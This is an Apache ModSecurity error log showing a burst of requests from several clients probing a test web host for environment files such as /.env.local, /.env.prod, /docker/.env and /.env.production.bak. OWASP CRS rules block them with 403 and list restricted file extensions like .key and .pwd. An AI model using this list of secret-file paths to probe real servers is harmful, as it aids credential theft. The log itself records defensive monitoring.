[Fri Mar 20 16:14:06.605793 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "ab1kPhq8pDZXKMuYECLOcwAAAAk"]
[Fri Mar 20 16:14:06.608110 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "ab1kPgp0GbmkUAUfOtfnoAAAAAo"]
[Fri Mar 20 16:14:06.608249 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "ab1kPgp0GbmkUAUfOtfnoAAAAAo"]
[Fri Mar 20 16:14:06.608376 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "ab1kPgp0GbmkUAUfOtfnoAAAAAo"]
[Fri Mar 20 16:14:06.611702 2026] [:error] [pid 2828199] [client 172.70.251.223:12985] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "ab1kPiVNfI7nWmz17RxaegAAAAc"]
[Fri Mar 20 16:14:06.611799 2026] [:error] [pid 2828199] [client 172.70.251.223:12985] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "ab1kPiVNfI7nWmz17RxaegAAAAc"]
[Fri Mar 20 16:14:06.611903 2026] [:error] [pid 2828199] [client 172.70.251.223:12985] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "ab1kPiVNfI7nWmz17RxaegAAAAc"]
[Fri Mar 20 16:14:06.614019 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env2"] [unique_id "ab1kPjQ9Th-2Y9b0JRd1zwAAAAE"]
[Fri Mar 20 16:14:06.614121 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env2"] [unique_id "ab1kPjQ9Th-2Y9b0JRd1zwAAAAE"]
[Fri Mar 20 16:14:06.614234 2026] [:error] [pid 2815710] [client 172.70.251.223:12979] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env2"] [unique_id "ab1kPjQ9Th-2Y9b0JRd1zwAAAAE"]
[Fri Mar 20 16:14:06.622855 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.envrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envrc"] [unique_id "ab1kPknH70iMTzyPh3kWnwAAAAY"]
[Fri Mar 20 16:14:06.622993 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envrc"] [unique_id "ab1kPknH70iMTzyPh3kWnwAAAAY"]
[Fri Mar 20 16:14:06.623131 2026] [:error] [pid 2816018] [client 172.70.251.169:12129] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.envrc"] [unique_id "ab1kPknH70iMTzyPh3kWnwAAAAY"]
[Fri Mar 20 16:14:06.629974 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "ab1kPm808gcmd_Zzq_-pDAAAABI"]
[Fri Mar 20 16:14:06.630076 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "ab1kPm808gcmd_Zzq_-pDAAAABI"]
[Fri Mar 20 16:14:06.630198 2026] [:error] [pid 2827214] [client 172.70.251.28:12899] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "ab1kPm808gcmd_Zzq_-pDAAAABI"]
[Fri Mar 20 16:14:06.630994 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "ab1kPmLvrbuE12wYiLe4QwAAABA"]
[Fri Mar 20 16:14:06.631088 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "ab1kPmLvrbuE12wYiLe4QwAAABA"]
[Fri Mar 20 16:14:06.631200 2026] [:error] [pid 2822566] [client 172.70.251.169:12132] [client 172.70.251.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "ab1kPmLvrbuE12wYiLe4QwAAABA"]
[Fri Mar 20 16:14:06.635532 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "ab1kPvy1_WiwY9KfWu_41AAAAAI"]
[Fri Mar 20 16:14:06.635619 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "ab1kPvy1_WiwY9KfWu_41AAAAAI"]
[Fri Mar 20 16:14:06.635722 2026] [:error] [pid 2815711] [client 172.70.251.28:12907] [client 172.70.251.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.docker"] [unique_id "ab1kPvy1_WiwY9KfWu_41AAAAAI"]
[Fri Mar 20 16:14:06.637723 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev.local"] [unique_id "ab1kPgp0GbmkUAUfOtfnoQAAAAo"]
[Fri Mar 20 16:14:06.637842 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev.local"] [unique_id "ab1kPgp0GbmkUAUfOtfnoQAAAAo"]
[Fri Mar 20 16:14:06.637967 2026] [:error] [pid 2828200] [client 172.70.251.223:12986] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev.local"] [unique_id "ab1kPgp0GbmkUAUfOtfnoQAAAAo"]
[Fri Mar 20 16:14:06.649009 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.bak"] [unique_id "ab1kPm8zubx8zfwe9oW5TgAAAAU"]
[Fri Mar 20 16:14:06.649162 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.bak"] [unique_id "ab1kPm8zubx8zfwe9oW5TgAAAAU"]
[Fri Mar 20 16:14:06.649267 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.bak"] [unique_id "ab1kPm8zubx8zfwe9oW5TgAAAAU"]
[Fri Mar 20 16:14:06.649403 2026] [:error] [pid 2815734] [client 172.70.251.27:10752] [client 172.70.251.27] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.bak"] [unique_id "ab1kPm8zubx8zfwe9oW5TgAAAAU"]
[Fri Mar 20 16:14:06.655640 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.container"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.container"] [unique_id "ab1kPhq8pDZXKMuYECLOdAAAAAk"]
[Fri Mar 20 16:14:06.655745 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.container"] [unique_id "ab1kPhq8pDZXKMuYECLOdAAAAAk"]
[Fri Mar 20 16:14:06.655871 2026] [:error] [pid 2817640] [client 172.70.251.224:10067] [client 172.70.251.224] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.container"] [unique_id "ab1kPhq8pDZXKMuYECLOdAAAAAk"]
[Fri Mar 20 16:14:06.656690 2026] [:error] [pid 2828199] [client 172.70.251.223:12985] [client 172.70.251.223] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "ab1kPiVNfI7nWmz17RxaewAAAAc"]
[Fri Mar 20 16:14:06.656779 2026] [:error] [pid 2828199] [client 172.70.251.223:12985] [client 172.70.251.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "ab1kPiVNfI7nWmz17RxaewAAAAc"]
[Fri Mar 20 16:14:06.656886 2026] [:error] [pid 2828199] [client 172.70.251.223:12985] [client 172.70.251.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "ab1kPiVNfI7nWmz17RxaewAAAAc"]
[Fri Mar 20 16:14:06.658104 2026] [:error] [pid 2828198] [client 172.70.251.170:11853] [client 172.70.251.170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env.local"] [unique_id "ab1kPsksTLMF-0nJGdZb-wAAAAM"]
[Fri Mar 20 16:14:06.658214 2026] [:error] [pid 2828198] [client 172.70.251.170:11853] [client 172.70.251.170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env.local"] [unique_id "ab1kPsksTLMF-0nJGdZb-wAAAAM"]
[Fri Mar 20 16:14:06.658356 2026] [:error] [pid 2828198] [client 172.70.251.170:11853] [client 172.70.251.170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env.local"] [unique_id "ab1kPsksTLMF-0nJGdZb-wAAAAM"]
[Fri Mar 20 16:14:06.665427 2026] [:error] [pid 2828207] [client 172.70.251.224:10068] [client 172.70.251.224] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "ab1kPvkV6goaBnyo2bg0kgAAABM"]
